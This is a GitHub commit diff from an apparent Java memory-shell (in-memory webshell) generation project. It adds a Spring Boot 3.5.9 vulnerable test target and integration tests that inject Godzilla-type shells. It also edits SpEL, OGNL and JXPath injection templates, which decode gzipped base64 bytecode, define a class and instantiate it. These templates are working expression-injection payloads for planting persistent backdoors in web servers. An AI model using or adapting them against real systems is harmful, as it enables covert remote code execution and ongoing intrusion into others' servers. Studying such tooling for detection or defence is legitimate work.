Skip to content

Commit 0a9a68e

Browse files
committed
fix: SpELGzipPacker class not found
1 parent f0472d2 commit 0a9a68e

24 files changed

Lines changed: 569 additions & 7 deletions

.github/workflows/memshell-integration-test.yml

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -43,7 +43,7 @@ jobs:
4343
- middleware: "weblogic"
4444
depend_tasks: ":vul:vul-webapp:war"
4545
- middleware: "springwebmvc"
46-
depend_tasks: ":vul:vul-springboot1:bootJar :vul:vul-springboot2:bootJar :vul:vul-springboot2-jetty:bootJar :vul:vul-springboot2-undertow:bootJar :vul:vul-springboot2:bootWar :vul:vul-springboot3:bootJar"
46+
depend_tasks: ":vul:vul-springboot1:bootJar :vul:vul-springboot2:bootJar :vul:vul-springboot2-jetty:bootJar :vul:vul-springboot2-undertow:bootJar :vul:vul-springboot2:bootWar :vul:vul-springboot3:bootJar :vul:vul-springboot359:bootJar"
4747
- middleware: "springwebflux"
4848
depend_tasks: ":vul:vul-springboot2-webflux:bootJar :vul:vul-springboot3-webflux:bootJar"
4949
- middleware: "xxljob"

.github/workflows/probe-integration-test.yml

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -41,7 +41,7 @@ jobs:
4141
- middleware: "weblogic"
4242
depend_tasks: ":vul:vul-webapp:war"
4343
- middleware: "springwebmvc"
44-
depend_tasks: ":vul:vul-springboot1:bootJar :vul:vul-springboot2:bootJar :vul:vul-springboot2-jetty:bootJar :vul:vul-springboot2-undertow:bootJar :vul:vul-springboot2:bootWar :vul:vul-springboot3:bootJar"
44+
depend_tasks: ":vul:vul-springboot1:bootJar :vul:vul-springboot2:bootJar :vul:vul-springboot2-jetty:bootJar :vul:vul-springboot2-undertow:bootJar :vul:vul-springboot2:bootWar :vul:vul-springboot3:bootJar :vul:vul-springboot359:bootJar"
4545
- middleware: "struts2"
4646
depend_tasks: ":vul:vul-struts2:war"
4747
runs-on: ubuntu-22.04

integration-test/src/test/java/com/reajason/javaweb/integration/ContainerTool.java

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -25,6 +25,7 @@ public class ContainerTool {
2525
public static final MountableFile springBoot2UndertowJarFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-springboot2-undertow", "build", "libs", "vul-springboot2-undertow.jar").toAbsolutePath());
2626
public static final MountableFile springBoot2WebfluxJarFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-springboot2-webflux", "build", "libs", "vul-springboot2-webflux.jar").toAbsolutePath());
2727
public static final MountableFile springBoot3JarFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-springboot3", "build", "libs", "vul-springboot3.jar").toAbsolutePath());
28+
public static final MountableFile springBoot359JarFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-springboot359", "build", "libs", "vul-springboot359.jar").toAbsolutePath());
2829
public static final MountableFile springBoot3WebfluxJarFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-springboot3-webflux", "build", "libs", "vul-springboot3-webflux.jar").toAbsolutePath());
2930

3031
public static final Path neoGeorgDockerfile = Path.of("..", "assets", "neoreg", "Dockerfile").toAbsolutePath();
Lines changed: 90 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,90 @@
1+
package com.reajason.javaweb.integration.memshell.springwebmvc;
2+
3+
import com.reajason.javaweb.Server;
4+
import com.reajason.javaweb.integration.AbstractContainerTest;
5+
import com.reajason.javaweb.integration.ContainerTestConfig;
6+
import com.reajason.javaweb.integration.ContainerTool;
7+
import com.reajason.javaweb.memshell.ShellTool;
8+
import com.reajason.javaweb.memshell.ShellType;
9+
import com.reajason.javaweb.packer.Packers;
10+
import net.bytebuddy.jar.asm.Opcodes;
11+
import org.junit.jupiter.params.ParameterizedTest;
12+
import org.junit.jupiter.params.provider.Arguments;
13+
import org.junit.jupiter.params.provider.MethodSource;
14+
import org.testcontainers.containers.GenericContainer;
15+
import org.testcontainers.containers.Network;
16+
import org.testcontainers.junit.jupiter.Container;
17+
import org.testcontainers.junit.jupiter.Testcontainers;
18+
19+
import java.util.List;
20+
import java.util.stream.Stream;
21+
22+
/**
23+
* @author ReaJason
24+
* @since 2024/12/22
25+
*/
26+
@Testcontainers
27+
public class SpringBoot359ContainerTest extends AbstractContainerTest {
28+
private static final ContainerTestConfig CONFIG = ContainerTestConfig.builder()
29+
.imageName("eclipse-temurin:17.0.17_10-jdk")
30+
.jarFile(ContainerTool.springBoot359JarFile)
31+
.jakarta(true)
32+
.jarDeployPath("/app/app.jar")
33+
.command("java -jar /app/app.jar")
34+
.server(Server.SpringWebMvc)
35+
.pidScript(ContainerTool.springbootPid)
36+
.targetJdkVersion(Opcodes.V17)
37+
.enableJspPackerTest(false)
38+
.contextPath("")
39+
.healthCheckPath("/test")
40+
.supportedShellTypes(List.of(
41+
ShellType.SPRING_WEBMVC_JAKARTA_INTERCEPTOR,
42+
ShellType.SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER,
43+
ShellType.SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET
44+
))
45+
.testPackers(List.of(Packers.H2))
46+
.unSupportedShellTools(List.of(ShellTool.AntSword))
47+
.probeShellTypes(List.of(
48+
ShellType.SPRING_WEBMVC_JAKARTA_INTERCEPTOR,
49+
ShellType.SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER
50+
))
51+
.build();
52+
53+
private static final ContainerTestConfig TOMCAT_CONFIG = ContainerTestConfig.builder()
54+
.imageName("springboot3")
55+
.server(Server.Tomcat)
56+
.targetJdkVersion(Opcodes.V17)
57+
.supportedShellTypes(List.of(
58+
ShellType.JAKARTA_FILTER,
59+
// ShellType.LISTENER,
60+
ShellType.JAKARTA_VALVE,
61+
ShellType.JAKARTA_WEBSOCKET,
62+
ShellType.AGENT_FILTER_CHAIN,
63+
ShellType.CATALINA_AGENT_CONTEXT_VALVE
64+
))
65+
.testPackers(List.of(Packers.H2))
66+
.unSupportedShellTools(List.of(ShellTool.AntSword))
67+
.build();
68+
69+
static Network network = newNetwork();
70+
@Container
71+
public static final GenericContainer<?> python = buildPythonContainer(network);
72+
73+
@Container
74+
public static final GenericContainer<?> container = buildContainer(CONFIG, network);
75+
76+
static Stream<Arguments> tomcatCasesProvider() {
77+
return generateTestCases(TOMCAT_CONFIG);
78+
}
79+
80+
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
81+
@MethodSource("tomcatCasesProvider")
82+
void testTomcat(String imageName, String shellType, String shellTool, Packers packer) {
83+
runShellInject(TOMCAT_CONFIG, shellType, shellTool, packer);
84+
}
85+
86+
@Override
87+
protected ContainerTestConfig getConfig() {
88+
return CONFIG;
89+
}
90+
}
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,71 @@
1+
package com.reajason.javaweb.integration.memshell.springwebmvc;
2+
3+
import com.reajason.javaweb.Server;
4+
import com.reajason.javaweb.integration.ShellAssertion;
5+
import com.reajason.javaweb.memshell.ShellTool;
6+
import com.reajason.javaweb.memshell.ShellType;
7+
import com.reajason.javaweb.packer.Packers;
8+
import lombok.extern.slf4j.Slf4j;
9+
import net.bytebuddy.jar.asm.Opcodes;
10+
import org.junit.jupiter.api.AfterAll;
11+
import org.junit.jupiter.params.ParameterizedTest;
12+
import org.junit.jupiter.params.provider.Arguments;
13+
import org.junit.jupiter.params.provider.MethodSource;
14+
import org.testcontainers.containers.GenericContainer;
15+
import org.testcontainers.containers.wait.strategy.Wait;
16+
import org.testcontainers.junit.jupiter.Container;
17+
import org.testcontainers.junit.jupiter.Testcontainers;
18+
19+
import java.util.stream.Stream;
20+
21+
import static com.reajason.javaweb.integration.ContainerTool.*;
22+
import static org.junit.jupiter.params.provider.Arguments.arguments;
23+
24+
/**
25+
* @author ReaJason
26+
* @since 2024/12/22
27+
*/
28+
@Testcontainers
29+
@Slf4j
30+
public class SpringBoot359ExpressionContainerTest {
31+
public static final String imageName = "springboot3";
32+
33+
@Container
34+
public final static GenericContainer<?> container = new GenericContainer<>("eclipse-temurin:17.0.17_10-jdk")
35+
.withCopyFileToContainer(springBoot359JarFile, "/app/app.jar")
36+
.withCommand("java -jar /app/app.jar")
37+
.withCopyToContainer(jattachFile, "/jattach")
38+
.withCopyToContainer(springbootPid, "/fetch_pid.sh")
39+
.waitingFor(Wait.forHttp("/test"))
40+
.withExposedPorts(8080);
41+
42+
43+
public static String getUrl(GenericContainer<?> container) {
44+
String host = container.getHost();
45+
int port = container.getMappedPort(8080);
46+
String url = "http://" + host + ":" + port;
47+
log.info("container started, app url is : {}", url);
48+
return url;
49+
}
50+
51+
@AfterAll
52+
static void tearDown() {
53+
String logs = container.getLogs();
54+
log.info(logs);
55+
// assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
56+
}
57+
58+
static Stream<Arguments> casesProvider() {
59+
return Stream.of(
60+
arguments(imageName, ShellType.JAKARTA_VALVE, ShellTool.Godzilla, Packers.SpELSpringGzipJDK17),
61+
arguments(imageName, ShellType.JAKARTA_VALVE, ShellTool.Godzilla, Packers.OGNLSpringGzipJDK17),
62+
arguments(imageName, ShellType.JAKARTA_VALVE, ShellTool.Godzilla, Packers.JXPathSpringGzipJDK17)
63+
);
64+
}
65+
66+
@ParameterizedTest(name = "{0}-expression|{1}{2}|{3}")
67+
@MethodSource("casesProvider")
68+
void test(String imageName, String shellType, String shellTool, Packers packer) {
69+
ShellAssertion.shellInjectIsOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V17, packer, container);
70+
}
71+
}

integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebmvc/SpringBoot3ExpressionContainerTest.java

Lines changed: 0 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -1,7 +1,6 @@
11
package com.reajason.javaweb.integration.memshell.springwebmvc;
22

33
import com.reajason.javaweb.Server;
4-
import com.reajason.javaweb.integration.ContainerTool;
54
import com.reajason.javaweb.integration.ShellAssertion;
65
import com.reajason.javaweb.memshell.ShellTool;
76
import com.reajason.javaweb.memshell.ShellType;
@@ -14,7 +13,6 @@
1413
import org.junit.jupiter.params.provider.MethodSource;
1514
import org.testcontainers.containers.GenericContainer;
1615
import org.testcontainers.containers.wait.strategy.Wait;
17-
import org.testcontainers.images.builder.ImageFromDockerfile;
1816
import org.testcontainers.junit.jupiter.Container;
1917
import org.testcontainers.junit.jupiter.Testcontainers;
2018

packer/src/main/java/com/reajason/javaweb/packer/jxpath/JXPathSpringGzipJDK17Packer.java

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -11,7 +11,7 @@
1111
* @since 2024/12/13
1212
*/
1313
public class JXPathSpringGzipJDK17Packer implements Packer {
14-
String template = "newInstance(org.springframework.cglib.core.ReflectUtils.defineClass('{{className}}',org.springframework.util.StreamUtils.copyToByteArray(java.util.zip.GZIPInputStream.new(java.io.ByteArrayInputStream.new(org.springframework.util.Base64Utils.decodeFromString('{{base64Str}}')))),getContextClassLoader(java.lang.Thread.currentThread()),getProtectionDomain(java.lang.Class.forName('org.springframework.expression.ExpressionParser')),java.lang.Class.forName('org.springframework.expression.ExpressionParser')))";
14+
String template = "newInstance(org.springframework.cglib.core.ReflectUtils.defineClass('{{className}}',org.springframework.util.StreamUtils.copyToByteArray(java.util.zip.GZIPInputStream.new(java.io.ByteArrayInputStream.new(decode(java.util.Base64.getDecoder(), ('{{base64Str}}'))))),getContextClassLoader(java.lang.Thread.currentThread()),getProtectionDomain(java.lang.Class.forName('org.springframework.expression.ExpressionParser')),java.lang.Class.forName('org.springframework.expression.ExpressionParser')))";
1515

1616
@Override
1717
public String pack(ClassPackerConfig config) {

packer/src/main/java/com/reajason/javaweb/packer/ognl/OGNLSpringGzipJDK17Packer.java

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -12,7 +12,7 @@
1212
* @since 2025/7/7
1313
*/
1414
public class OGNLSpringGzipJDK17Packer implements Packer {
15-
String template = "(@org.springframework.cglib.core.ReflectUtils@defineClass('{{className}}',@org.springframework.util.StreamUtils@copyToByteArray(new java.util.zip.GZIPInputStream(new java.io.ByteArrayInputStream(@org.springframework.util.Base64Utils@decodeFromString('{{base64Str}}')))),new java.net.URLClassLoader(new java.net.URL[0],@java.lang.Thread@currentThread().getContextClassLoader()),null,@java.lang.Class@forName('org.springframework.expression.ExpressionParser'))).newInstance()";
15+
String template = "(@org.springframework.cglib.core.ReflectUtils@defineClass('{{className}}',@org.springframework.util.StreamUtils@copyToByteArray(new java.util.zip.GZIPInputStream(new java.io.ByteArrayInputStream(@java.util.Base64@getDecoder().decode('{{base64Str}}')))),new java.net.URLClassLoader(new java.net.URL[0],@java.lang.Thread@currentThread().getContextClassLoader()),null,@java.lang.Class@forName('org.springframework.expression.ExpressionParser'))).newInstance()";
1616

1717
@Override
1818
@SneakyThrows

packer/src/main/java/com/reajason/javaweb/packer/spel/SpELSpringGzipJDK17Packer.java

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -9,7 +9,7 @@
99
* @since 2024/12/13
1010
*/
1111
public class SpELSpringGzipJDK17Packer implements Packer {
12-
String template = "T(org.springframework.cglib.core.ReflectUtils).defineClass('{{className}}',T(org.springframework.util.StreamUtils).copyToByteArray(new java.util.zip.GZIPInputStream(new java.io.ByteArrayInputStream(T(org.springframework.util.Base64Utils).decodeFromString('{{base64Str}}')))),new java.net.URLClassLoader(new java.net.URL[0],T(java.lang.Thread).currentThread().getContextClassLoader()),null,T(java.lang.Class).forName('org.springframework.expression.ExpressionParser')).newInstance()";
12+
String template = "T(org.springframework.cglib.core.ReflectUtils).defineClass('{{className}}',T(org.springframework.util.StreamUtils).copyToByteArray(new java.util.zip.GZIPInputStream(new java.io.ByteArrayInputStream(T(java.util.Base64).getDecoder().decode('{{base64Str}}')))),new java.net.URLClassLoader(new java.net.URL[0],T(java.lang.Thread).currentThread().getContextClassLoader()),null,T(java.lang.Class).forName('org.springframework.expression.ExpressionParser')).newInstance()";
1313

1414
@Override
1515
public String pack(ClassPackerConfig config) {

settings.gradle.kts

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -43,6 +43,7 @@ include("vul:vul-springboot2")
4343
include("vul:vul-springboot2-jetty")
4444
include("vul:vul-springboot2-undertow")
4545
include("vul:vul-springboot3")
46+
include("vul:vul-springboot359")
4647
include("vul:vul-springboot2-webflux")
4748
include("vul:vul-springboot3-webflux")
4849
include("vul:vul-playframework")

0 commit comments

Comments
 (0)